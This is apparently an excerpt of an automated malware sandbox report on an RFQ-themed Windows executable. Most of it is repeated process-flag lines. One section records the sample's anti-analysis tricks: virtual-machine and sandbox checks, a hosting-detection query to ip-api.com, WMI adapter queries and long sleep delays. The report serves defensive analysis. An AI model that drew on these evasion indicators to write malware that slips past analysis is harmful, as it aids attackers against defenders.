Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp, RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory allocated: 23AB8340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Memory allocated: 23AD1FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4D60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6414	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3212	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7186	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3752	Thread sleep count: 2669 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99872s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3752	Thread sleep count: 7186 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99495s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -99148s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98881s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5860	Thread sleep time: -98531s >= -30000s	Jump to behavior
